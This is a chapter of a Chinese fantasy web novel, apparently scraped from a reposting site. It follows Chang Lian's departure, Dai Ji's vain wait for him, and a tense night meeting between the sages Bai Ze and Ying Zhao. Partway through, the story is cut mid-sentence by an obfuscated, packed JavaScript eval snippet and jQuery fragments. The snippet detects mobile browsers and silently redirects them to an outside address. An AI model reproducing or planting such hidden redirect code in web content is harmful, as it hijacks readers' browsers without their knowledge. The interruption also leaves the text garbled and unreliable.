43.诸天降临(一)

作品:《十九退休,他们硬要我拯救天下

    长廉把玄石抛给暮十一:“知道结果了就安心吧,把玄石带回去,我又要走了。”


    “他们说你是能拯救天下的人之一。”暮十一接过玄石,对长廉道。


    “拯救天下只靠我可不够。”长廉道,“何况天下好着呢。”


    “你要去哪?”暮十一问。


    “我不知道。”


    “你答应长舌鬼的事呢?”


    “等阿离真的成了北方的王,我会到北方去。”长廉道。


    “岱极呢?”暮十一问。


    长廉顿住了,他不想回云中,本质上就是害怕遇到岱极。


    蓐收与他同行一段路,说起来算得上是伙伴。蓐收救过他,说实话长廉觉得他并不可恨,但那是卫青。


    是他六年的梦魇。


    原本已经不再出现在梦里了,可是谁让蓐收要用梦魇把卫青从他记忆里唤醒,用过往的伤痛逼着他去凤来阁。


    若蓐收那天不用梦魇刺激长廉,也许长廉不会杀了他。


    即便如此,长廉想来依然害怕。他始终觉得“逝者已去,生者如斯”,若是卫青在世也不会允许他杀了蓐收。


    直到蓐收的血溅上他的脸他才惊醒,自己杀了一个几乎可以称为“伙伴”的人。


    而在回头那一刻,他仿佛预见自己在战场上杀死了岱极。


    他不愿再与他有交集。


    -----


    岱极在最东边的箫城等着,等着那个本该和他并肩同行的人。


    他等了整整一日。


    夕阳在地平线上燃烧,霞光映得天色如火,箫城东郊的官道上空无一人,只有风卷起地上的尘沙,在寂静中肆意翻滚。岱极的目光始终望着远方,像是要从荒芜的天际线中看出一个人影。


    黄昏褪去,夜幕渐渐沉下,一轮新月悄然挂上天际,苍茫大地一片沉寂。就在岱极心底仅存的希望即将熄灭时,他终于望见了远方的一个人影。


    只有一个。


    心里明明有了答案,却还是心怀希望,盼着自己猜错了,反而能到达正确的答案。


    直到马匹近了,他终于看清。


    “长廉呢?”岱极遥遥问道。


    “他走了。”暮十一也是扯着嗓子回他。


    岱极已是失魂落魄,与暮十一回去的路上一言不发。


    暮十一没有说话,亦没有安慰,像是知道所有的安慰都无用。二人并肩走在夜色之下,天边孤月冷冷地挂着,映照在远处蜿蜒的河道上。


    风羲回走前,堵住了交河的一侧,使得水流改向丹水。自此,岱极将民众安置在丹水以南的三座城池,若是不周的妖物再度南侵,丹水便成了天然屏障,能替他们挡住第一波冲击。


    交河就此废弃,曾经奔腾的水脉如今成了一片干涸的河床。然而,废弃的河道土质松软,泥沙细腻,倘若明年雨水丰沛,或许可以在这里种植庄稼。


    他站在稷城的城楼上,俯瞰着那段新开的河流,思绪飘忽。


    今年的桃花汛还会来么?


    昆仑山的春天,冰雪消融,等到二月桃花盛放,江河之上的浮冰便彻底融化,化作滚滚波涛,裹挟着山间的落英顺流而下。


    稷城依河而建,每年桃花汛至,整条河道都漂满了粉白色的花瓣,仿佛流淌着一条春日织就的锦缎。


    那是稷城最难得的美景。


    可如今河道已改,水流易道,今年的桃花或许很难见到了。


    但岱极很快意识到,有没有桃花汛都无所谓了,因为他想等的那个人已经不会来了。


    ------


    黑夜悄然降临,昆仑山脉的风带着刺骨的寒气仍然寒冷,轻轻扫过这条不起眼的街道。


    街道两旁,老旧的店铺门前悬挂着已经褪色的招牌,只有零星的几盏昏黄的灯笼摇曳在寒风中,初春,这里又是山上,冷得不像春天。夜已渐深,街头人迹罕至。


    偶尔有一两只野猫悄无声息地穿过阴影,消失在黑暗的角落里。


    却有一个家伙在一盏灯下嗦面,仿佛是累极了的旅人。


    那家面馆万万说不上好吃,只是老板收摊慢了被这个家伙盯上,又无法拒绝那人投过来的一小锭金子,受宠若惊地捧着,又去后厨给他煮了面。


    “客官,外头冷,要不进去吃?”老板对贵客的态度那是恭恭敬敬。


    贵客头也不抬:“不用,你忙你的。”


    老板这才回屋了。


    野猫再次穿过街角,却带来了一个家伙。


    那人隐在灰色袍子底下,自来熟地拉过椅子坐下。


    “你要来一碗么?”吃面的人捧起碗喝了口汤,“和当年我第一次来找你的时候吃的那碗一样。”


    就这一句评价灰袍的人就了然——难吃。


    “你要是饿了,来我府上我吩咐下人给你做,什么山珍海味都有,何必深夜跑来街头吃碗面。何况也不是当年的面。”灰袍的人说道,这说的是那家店铺老板已经死啦,活不到今天。


    谁知吃面的人擦擦嘴,说:“人也不是当年的人喽。”


    说着站起来,与老板打声招呼:“走了。”


    “诶,客官慢走!”老板赶紧追出来。


    两个人影在这条寂静的街道上并肩而行,步伐轻缓。


    “白泽,你走慢一点,我们俩多少年没见过了,还不能好好漫步街头么?”灰袍的人快步追上那家伙,愤愤道。


    “在这样寒风嗖嗖的地方我可不觉得有什么好散步的。天水那年就是这样,最初只是冬季冷,夜里冷,直到寒潮席卷无法生存,我们不得不南迁。”白泽裹上黑色的袍子,脚步却悄然放慢了一点。


    “椿秋变嘛,我知道。说北溟有大椿,八千年为春八千年为秋,如今是秋天所以寒冷。”


    “椿秋变没那么简单。东海的鲛人疯了般从天水登陆,联合妖物,把那里仅剩的居民杀了个干净。我在他们南下途中借助三咸山的地势布阵才挡住了。这是这一百年来,天底下最大的妖灾。天水数万人口,只有一个人活下来了。”白泽纠正道。


    “我知道,卜离嘛,你那小徒弟。”灰袍的人说。


    “你知道还敢把她扔进


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128896|159387||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    通缉令?她一离开无启我就给天下神遗发了信,这是我的徒弟,若是在你这里受了伤,我定不会饶了你。”白泽怒到,“英招你个老混蛋,你想干什么?”


    昆仑议会的核心人物,也只有当年的老朋友能骂他一句“老混蛋”,在别人眼里,这位是清风霁月的老仙长。


    “没想干嘛。你那小徒弟跑来太华,在摇光捉到了我们的通缉犯。结果你猜怎么着,那通缉犯被凶神入侵了灵魂,不过几句话几个眼神就惹恼了你徒弟。你知道你徒弟把人打成什么样么?不愧是离火脉啊。”英招转移了话题。


    “你要是敢在她面前提起这个,我就会让你知道她这些本事从哪学的。”白泽威胁道。


    “我可不敢。”英招笑,“但她迟早要知道的,你能瞒她多久啊。”


    “用不着你操心,但你若是敢打她的主意,我豁了老命也要端了你那长老会。”白泽道


    英招:“最后一个问题,有人说她是黎和的女儿,真的么?”


    “滚。”白泽言简意赅。


    “得嘞。”英招笑着避开了,府邸已在不远处。


    白泽这才放慢脚步:“你我都看得出来,这里的家族蠢蠢欲动想在这里建立独裁,北边凶神残魄影响,我听说你这里妖物作祟也严重。”


    “所以才请你来啊,你都不知道我在这有多难。上不去下不来的卡着,有时候真想一把火把他们都烧了,在这里建立东夏那样的皇帝制,就没这么多事儿了。”英招说到这个事,老混蛋的样子荡然无存,仿佛变回了那个衣冠楚楚的长老会成员,灰袍之下是权力与威严的代表。


    “你还坚守着你的正义啊。”白泽深深吐了口气,白茫茫雾气散在夜里。


    “我这可说不上正义。你不也没把无启那些个分裂势力杀了么?”英招说道。


    “杀了他们于事无补,反而会使我失去威信,离心只会更快。我还得等他们出手才能动手啊,烦人。”白泽道。


    “真是为难你这老混蛋了。”英招笑。


    “是啊,老混蛋最懂老混蛋了,所以我知道你如今搞这动静,不会只有面上这点目的。不论你要做什么,别把阿离扯进来。”白泽又道,今日已经是他第二次警告英招了,别碰阿离,这就是他亲自来此地原因。


    “做什么?我这一切都是为了天下苍生,若是不周封印解除,凶神为祸世间,那可是天下的灾难啊。白泽,连你也不懂我么?”英招低声道。


    “少拿天下苍生当借口!当年是谁说,若是用天下大义作借口,杀谁都一样。我没那个大义,我仅仅只是为了无启,我警告你,别动歪心思。”白泽低声道。


    回答他的是一记掌风。


    白泽侧身躲过这一掌,立刻将拿手扣了。


    英招还想再来,再一看,剩下那只手也被白泽的尾巴勾住了。


    英招这才投降,笑嘻嘻地说:“你看,这么多年,我一直不是你的对手,还用得着这么防范我么?”


    白泽哼哧一气,进了府邸。


    彼时白泽还没有意识到,英招的目的在风羲回。